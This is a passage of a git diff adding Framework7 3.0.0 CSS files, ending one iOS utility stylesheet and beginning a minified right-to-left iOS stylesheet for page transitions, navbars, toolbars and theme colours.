margin-bottom: 0 !important; +} +.width-auto { + width: auto !important; +} +.width-100 { + width: 100% !important; +} +.ios .padding { + padding: 15px !important; +} +.ios .padding-top { + padding-top: 15px !important; +} +.ios .padding-bottom { + padding-bottom: 15px !important; +} +.ios .padding-left { + padding-left: 15px !important; +} +.ios .padding-left-ios-edge { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); +} +.ios .padding-right-ios-edge { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); +} +.ios .padding-top-ios-edge { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .padding-bottom-ios-edge { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .padding-right { + padding-right: 15px !important; +} +.ios .padding-vertical { + padding-top: 15px !important; + padding-bottom: 15px !important; +} +.ios .padding-horizontal { + padding-left: 15px !important; + padding-right: 15px !important; +} +.ios .margin { + margin: 15px !important; +} +.ios .margin-top { + margin-top: 15px !important; +} +.ios .margin-bottom { + margin-bottom: 15px !important; +} +.ios .margin-left { + margin-left: 15px !important; +} +.ios .margin-right { + margin-right: 15px !important; +} +.ios .margin-vertical { + margin-top: 15px !important; + margin-bottom: 15px !important; +} +.ios .margin-horizontal { + margin-left: 15px !important; + margin-right: 15px !important; +} +.ios .text-color-red { + color: #ff3b30 !important; +} +.ios .bg-color-red { + background-color: #ff3b30 !important; +} +.ios .border-color-red { + border-color: #ff3b30 !important; +} +.ios .text-color-green { + color: #4cd964 !important; +} +.ios .bg-color-green { + background-color: #4cd964 !important; +} +.ios .border-color-green { + border-color: #4cd964 !important; +} +.ios .text-color-blue { + color: #007aff !important; +} +.ios .bg-color-blue { + background-color: #007aff !important; +} +.ios .border-color-blue { + border-color: #007aff !important; +} +.ios .text-color-pink { + color: #ff2d55 !important; +} +.ios .bg-color-pink { + background-color: #ff2d55 !important; +} +.ios .border-color-pink { + border-color: #ff2d55 !important; +} +.ios .text-color-yellow { + color: #ffcc00 !important; +} +.ios .bg-color-yellow { + background-color: #ffcc00 !important; +} +.ios .border-color-yellow { + border-color: #ffcc00 !important; +} +.ios .text-color-orange { + color: #ff9500 !important; +} +.ios .bg-color-orange { + background-color: #ff9500 !important; +} +.ios .border-color-orange { + border-color: #ff9500 !important; +} +.ios .text-color-gray { + color: #8e8e93 !important; +} +.ios .bg-color-gray { + background-color: #8e8e93 !important; +} +.ios .border-color-gray { + border-color: #8e8e93 !important; +} +.ios .text-color-white { + color: #ffffff !important; +} +.ios .bg-color-white { + background-color: #ffffff !important; +} +.ios .border-color-white { + border-color: #ffffff !important; +} +.ios .text-color-black { + color: #000000 !important; +} +.ios .bg-color-black { + background-color: #000000 !important; +} +.ios .border-color-black { + border-color: #000000 !important; +} diff --git a/framework7/css/framework7.rtl.ios.min.css b/framework7/css/framework7.rtl.ios.min.css new file mode 100644 index 0000000..ebd8346 --- /dev/null +++ b/framework7/css/framework7.rtl.ios.min.css @@ -0,0 +1,12 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html{direction:rtl}.framework7-root,body,html{position:relative;height:100%;width:100%;overflow-x:hidden}body{margin:0;padding:0;font-size:14px;width:100%;background:#fff;overflow:hidden;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased}.framework7-root{overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.framework7-initializing *,.framework7-initializing :after,.framework7-initializing :before{-webkit-transition-duration:0s!important;transition-duration:0s!important}@media (width:1024px) and (height:691px) and (orientation:landscape){.framework7-root,body,html{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.framework7-root,body,html{height:672px}}*{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}a,input,select,textarea{outline:0}a{cursor:pointer;text-decoration:none}p{margin:1em 0}.disabled{opacity:.55!important;pointer-events:none!important}.ios body{font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;color:#000;line-height:1.4}.ios .if-md,.ios .md-only{display:none!important}.ios a{color:#007aff}@media (width:1024px) and (height:691px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:672px}}.ios .theme-dark{color:#fff}.ios .color-theme-red a{color:#ff3b30}.ios .color-theme-green a{color:#4cd964}.ios .color-theme-blue a{color:#007aff}.ios .color-theme-pink a{color:#ff2d55}.ios .color-theme-yellow a{color:#fc0}.ios .color-theme-orange a{color:#ff9500}.ios .color-theme-gray a{color:#8e8e93}.ios .color-theme-white a{color:#fff}.ios .color-theme-black a{color:#000}.ios a.color-red{color:#ff3b30}.ios a.color-green{color:#4cd964}.ios a.color-blue{color:#007aff}.ios a.color-pink{color:#ff2d55}.ios a.color-yellow{color:#fc0}.ios a.color-orange{color:#ff9500}.ios a.color-gray{color:#8e8e93}.ios a.color-white{color:#fff}.ios a.color-black{color:#000}.statusbar{position:absolute;left:0;top:0;width:100%;z-index:10000;-webkit-box-sizing:border-box;box-sizing:border-box;display:none}html.device-ios .statusbar,html.ios:not(.device-ios):not(.device-android) .statusbar{height:20px}html.device-android .statusbar,html.md:not(.device-ios):not(.device-android) .statusbar{height:24px}html.device-ios.device-iphone-x .statusbar{height:constant(safe-area-inset-top);height:env(safe-area-inset-top)}html.with-statusbar .statusbar{display:block}html.with-statusbar.device-ios .framework7-root,html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root{padding-top:20px}html.with-statusbar.device-android .framework7-root,html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root{padding-top:24px}html.with-statusbar.device-iphone-x .framework7-root{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .statusbar{background:#f7f7f8}.ios .theme-dark .statusbar{background-color:#1b1b1b}.view,.views{position:relative;height:100%;z-index:5000;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.pages{position:relative;width:100%;height:100%;overflow:hidden}.page{-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.page.stacked{display:none}.page-previous{pointer-events:none}.page-content{overflow:auto;-webkit-overflow-scrolling:touch;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;position:relative;z-index:1}.ios .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.ios .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.ios .router-dynamic-navbar-inside .page-opacity-effect,.ios .router-dynamic-navbar-inside .page-shadow-effect{top:44px}.ios .page{background:#efeff4}.ios .page-previous{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}.ios .page-next{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ios .page-previous .page-opacity-effect{opacity:1}.ios .page-previous:after{opacity:1}.ios .page-current .page-shadow-effect{opacity:1}.ios .page-transitioning,.ios .page-transitioning .page-opacity-effect,.ios .page-transitioning .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .router-transition-backward .page-current,.ios .router-transition-backward .page-next,.ios .router-transition-backward .page-previous:not(.stacked),.ios .router-transition-forward .page-current,.ios .router-transition-forward .page-next,.ios .router-transition-forward .page-previous:not(.stacked){pointer-events:none}.ios .router-transition-css-forward .page-next{-webkit-animation:ios-page-next-to-current .4s forwards;animation:ios-page-next-to-current .4s forwards}.ios .router-transition-css-forward .page-next:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-next-to-current-shadow .4s forwards;animation:ios-page-next-to-current-shadow .4s forwards}.ios .router-transition-css-forward .page-current{-webkit-animation:ios-page-current-to-previous .4s forwards;animation:ios-page-current-to-previous .4s forwards}.ios .router-transition-css-forward .page-current:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-current-to-previous-opacity .4s forwards;animation:ios-page-current-to-previous-opacity .4s forwards}.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after,.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before{top:44px}.ios .router-transition-css-backward .page-current,.ios .router-transition-css-backward .page-previous{pointer-events:none}.ios .router-transition-css-backward .page-previous{-webkit-animation:ios-page-previous-to-current .4s forwards;animation:ios-page-previous-to-current .4s forwards}.ios .router-transition-css-backward .page-previous:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-previous-to-current-opacity .4s forwards;animation:ios-page-previous-to-current-opacity .4s forwards}.ios .router-transition-css-backward .page-current{-webkit-animation:ios-page-current-to-next .4s forwards;animation:ios-page-current-to-next .4s forwards}.ios .router-transition-css-backward .page-current:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-current-to-next-shadow .4s forwards;animation:ios-page-current-to-next-shadow .4s forwards}.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before,.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after{top:44px}.ios .theme-dark .page,.page.ios .theme-dark{background:#171717}@-webkit-keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}}@keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}}@-webkit-keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@-webkit-keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@-webkit-keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}@keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}.link,.tab-link{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ios .link{-webkit-transition:opacity .3s;transition:opacity .3s}.ios .link i+i,.ios .link i+span,.ios .link span+i,.ios .link span+span{margin-right:7px}.ios .link.active-state{opacity:.3;-webkit-transition-duration:0s;transition-duration:0s}.navbar{position:relative;left:0;top:0;width:100%;z-index:500;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar b{font-weight:500}.navbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.navbar .left,.navbar .right,.navbar .title{position:relative;z-index:1}.navbar .title{text-align:center;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;font-weight:500;display:inline-block}.navbar .subtitle{display:block}.navbar .left,.navbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar .right:first-child{position:absolute;height:100%}.navbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.navbar-inner.stacked{display:none}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .navbar{height:44px;font-size:17px;background:#f7f7f8}.ios .navbar.no-hairline:after{display:none!important}.ios .navbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .navbar a.link{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;line-height:44px;height:44px}.ios .navbar a.icon-only{width:44px;margin:0;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .navbar .title{font-size:17px;margin:0;line-height:1.2}.ios .navbar .subtitle{color:#6d6d72;line-height:1;font-size:10px;text-align:center;font-weight:400}.ios .navbar .left a+a,.ios .navbar .right a+a{margin-right:15px}.ios .navbar .title,.ios .navbar b{font-weight:600}.ios .navbar .left{margin-left:10px}.ios .navbar .right{margin-right:10px}.ios .navbar .right:first-child{left:8px}.ios .navbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .navbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .navbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .navbar-inner{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:0 8px}.ios .navbar~.page-content,.ios .navbar~:not(.no-navbar) .page-content{padding-top:44px}.ios .navbar-previous{pointer-events:none}.ios .navbar-previous .fading,.ios .navbar-previous .left,.ios .navbar-previous .right,.ios .navbar-previous .subnavbar,.ios .navbar-previous>.title{opacity:0}.ios .navbar-previous .sliding{opacity:0}.ios .navbar-previous .subnavbar.sliding,.ios .navbar-previous.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ios .navbar-next{pointer-events:none}.ios .navbar-next .fading,.ios .navbar-next .left,.ios .navbar-next .right,.ios .navbar-next .subnavbar,.ios .navbar-next>.title{opacity:0}.ios .navbar-next .sliding{opacity:0}.ios .navbar-next.sliding .left,.ios .navbar-next.sliding .right,.ios .navbar-next.sliding .subnavbar,.ios .navbar-next.sliding>.title{opacity:0}.ios .navbar-next .subnavbar.sliding,.ios .navbar-next.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ios .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .router-transition-css-backward .navbar-current .left,.ios .router-transition-css-backward .navbar-current .right,.ios .router-transition-css-backward .navbar-current .subnavbar,.ios .router-transition-css-backward .navbar-current>.title,.ios .router-transition-css-forward .navbar-current .left,.ios .router-transition-css-forward .navbar-current .right,.ios .router-transition-css-forward .navbar-current .subnavbar,.ios .router-transition-css-forward .navbar-current>.title{-webkit-animation:ios-navbar-element-fade-out .4s forwards;animation:ios-navbar-element-fade-out .4s forwards}.ios .router-transition-css-backward .navbar-current .left.sliding .icon,.ios .router-transition-css-backward .navbar-current .sliding,.ios .router-transition-css-backward .navbar-current.sliding .left,.ios .router-transition-css-backward .navbar-current.sliding .left .icon,.ios .router-transition-css-backward .navbar-current.sliding .right,.ios .router-transition-css-backward .navbar-current.sliding>.title,.ios .router-transition-css-forward .navbar-current .left.sliding .icon,.ios .router-transition-css-forward .navbar-current .sliding,.ios .router-transition-css-forward .navbar-current.sliding .left,.ios .router-transition-css-forward .navbar-current.sliding .left .icon,.ios .router-transition-css-forward .navbar-current.sliding .right,.ios .router-transition-css-forward .navbar-current.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;opacity:0!important;-webkit-animation:none;animation:none}.ios .router-transition-css-backward .navbar-current .sliding.subnavbar,.ios .router-transition-css-backward .navbar-current.sliding .subnavbar,.ios .router-transition-css-forward .navbar-current .sliding.subnavbar,.ios .router-transition-css-forward .navbar-current.sliding .subnavbar{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;opacity:1}.ios .router-transition-css-backward .navbar-previous .left,.ios .router-transition-css-backward .navbar-previous .right,.ios .router-transition-css-backward .navbar-previous .subnavbar,.ios .router-transition-css-backward .navbar-previous>.title,.ios .router-transition-css-forward .navbar-next .left,.ios .router-transition-css-forward .navbar-next .right,.ios .router-transition-css-forward .navbar-next .subnavbar,.ios .router-transition-css-forward .navbar-next>.title{-webkit-animation:ios-navbar-element-fade-in .4s forwards;animation:ios-navbar-element-fade-in .4s forwards}.ios .router-transition-css-backward .navbar-previous .left.sliding .icon,.ios .router-transition-css-backward .navbar-previous .sliding,.ios .router-transition-css-backward .navbar-previous.sliding .left,.ios .router-transition-css-backward .navbar-previous.sliding .left .icon,.ios .router-transition-css-backward .navbar-previous.sliding .right,.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar,.ios .router-transition-css-backward .navbar-previous.sliding>.title,.ios .router-transition-css-forward .navbar-next .left.sliding .icon,.ios .router-transition-css-forward .navbar-next .sliding,.ios .router-transition-css-forward .navbar-next.sliding .left,.ios .router-transition-css-forward .navbar-next.sliding .left .icon,.ios .router-transition-css-forward .navbar-next.sliding .right,.ios .router-transition-css-forward .navbar-next.sliding .subnavbar,.ios .router-transition-css-forward .navbar-next.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important;opacity:1!important}.ios .theme-dark .navbar,.navbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .navbar:after,.navbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .navbar .subtitle,.navbar.ios .theme-dark .subtitle{color:#8e8e93}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-left-edge .navbar-inner,.ios.device-iphone-x .panel-left .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-left:calc(8px + constant(safe-area-inset-right));padding-left:calc(8px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-right-edge .navbar-inner,.ios.device-iphone-x .panel-right .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}@keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}.toolbar{width:100%;position:relative;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;left:0}.toolbar b{font-weight:500}.toolbar a{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;white-space:nowrap;text-overflow:ellipsis}.toolbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.toolbar i.icon{display:block}.toolbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.views>.tabbar,.views>.tabbar-labels{z-index:5001}.tabbar a.link,.tabbar-labels a.link{line-height:1.4}.tabbar a.link,.tabbar a.tab-link,.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.tabbar-labels a.link .tabbar-label,.tabbar-labels a.tab-link .tabbar-label{display:block;line-height:1;margin:0;position:relative;text-overflow:ellipsis;white-space:nowrap}.tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-overflow-scrolling:touch}.tabbar-scrollable .toolbar-inner::-webkit-scrollbar{display:none!important;width:0!important;height:0!important;-webkit-appearance:none;opacity:0!important}.tabbar-scrollable a.link,.tabbar-scrollable a.tab-link{width:auto;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.page>.toolbar,.view>.toolbar,.views>.toolbar{position:absolute}.ios .toolbar{height:44px;font-size:17px;background:#f7f7f8;bottom:0}.ios .toolbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .toolbar a.link{line-height:44px;height:44px}.ios .toolbar a.link i+i,.ios .toolbar a.link i+span,.ios .toolbar a.link span+i,.ios .toolbar a.link span+span{margin-right:7px}.ios .toolbar a.icon-only{min-height:44px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0;min-width:44px}.ios .toolbar b{font-weight:600}.ios .toolbar.no-hairline:before{display:none!important}.ios .toolbar:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .toolbar-inner{padding:0 8px}.ios .tabbar,.ios .tabbar-labels{color:#929292}.ios .tabbar a,.ios .tabbar-labels a{color:#929292}.ios .tabbar a.tab-link-active,.ios .tabbar-labels a.tab-link-active{color:#007aff}.ios .tabbar i.icon,.ios .tabbar-labels i.icon{height:30px}.ios .tabbar-labels{height:50px}.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{padding-top:4px;padding-bottom:4px}.ios .tabbar-labels a.link i+span,.ios .tabbar-labels a.tab-link i+span{margin:0}.ios .tabbar-labels .tabbar-label{letter-spacing:.01em;font-size:10px}@media (min-width:768px){.ios .tabbar .toolbar-inner,.ios .tabbar-labels .toolbar-inner{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .tabbar a.link,.ios .tabbar a.tab-link,.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{width:auto;min-width:105px}.ios .tabbar-labels{height:56px}.ios .tabbar-labels .tabbar-label{font-size:14px}}.ios .tabbar-scrollable .toolbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .tabbar-scrollable a.link,.ios .tabbar-scrollable a.tab-link{padding:0 8px}.ios .toolbar~* .page-content,.ios .toolbar~.page-content{padding-bottom:44px}.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:56px}}.ios .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .toolbar-hidden{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .theme-dark .toolbar,.toolbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .toolbar:before,.toolbar.ios .theme-dark:before{background-color:#282829}.ios .color-theme-red .tabbar a.tab-link-active,.ios .color-theme-red .tabbar-labels a.tab-link-active,.ios .color-theme-red.tabbar a.tab-link-active,.ios .color-theme-red.tabbar-labels a.tab-link-active{color:#ff3b30}.ios .color-theme-green .tabbar a.tab-link-active,.ios .color-theme-green .tabbar-labels a.tab-link-active,.ios .color-theme-green.tabbar a.tab-link-active,.ios .color-theme-green.tabbar-labels a.tab-link-active{color:#4cd964}.ios .color-theme-blue .tabbar a.tab-link-active,.ios .color-theme-blue .tabbar-labels a.tab-link-active,.ios .color-theme-blue.tabbar a.tab-link-active,.ios .color-theme-blue.tabbar-labels a.tab-link-active{color:#007aff}.ios .color-theme-pink .tabbar a.tab-link-active,.ios .color-theme-pink .tabbar-labels a.tab-link-active,.ios .color-theme-pink.tabbar a.tab-link-active,.ios .color-theme-pink.tabbar-labels a.tab-link-active{color:#ff2d55}.ios .color-theme-yellow .tabbar a.tab-link-active,.ios .color-theme-yellow .tabbar-labels a.tab-link-active,.ios .color-theme-yellow.tabbar a.tab-link-active,.ios .color-theme-yellow.tabbar-labels a.tab-link-active{color:#fc0}.ios .color-theme-orange .tabbar a.tab-link-active,.ios .color-theme-orange .tabbar-labels a.tab-link-active,.ios .color-theme-orange.tabbar a.tab-link-active,.ios .color-theme-orange.tabbar-labels a.tab-link-active{color:#ff9500}.ios .color-theme-gray .tabbar a.tab-link-active,.ios .color-theme-gray .tabbar-labels a.tab-link-active,.ios .color-theme-gray.tabbar a.tab-link-active,.ios .color-theme-gray.tabbar-labels a.tab-link-active{color:#8e8e93}.ios .color-theme-white .tabbar a.tab-link-active,.ios .color-theme-white .tabbar-labels a.tab-link-active,.ios .color-theme-white.tabbar a.tab-link-active,.ios .color-theme-white.tabbar-labels a.tab-link-active{color:#fff}.ios .color-theme-black .tabbar a.tab-link-active,.ios .color-theme-black .tabbar-labels a.tab-link-active,.ios .color-theme-black.tabbar a.tab-link-active,.ios .color-theme-black.tabbar-labels a.tab-link-active{color:#000}.ios .tabbar-labels.color-red a.tab-link-active,.ios .tabbar.color-red a.tab-link-active{color:#ff3b30}.ios .tabbar-labels.color-green a.tab-link-active,.ios .tabbar.color-green a.tab-link-active{color:#4cd964}.ios 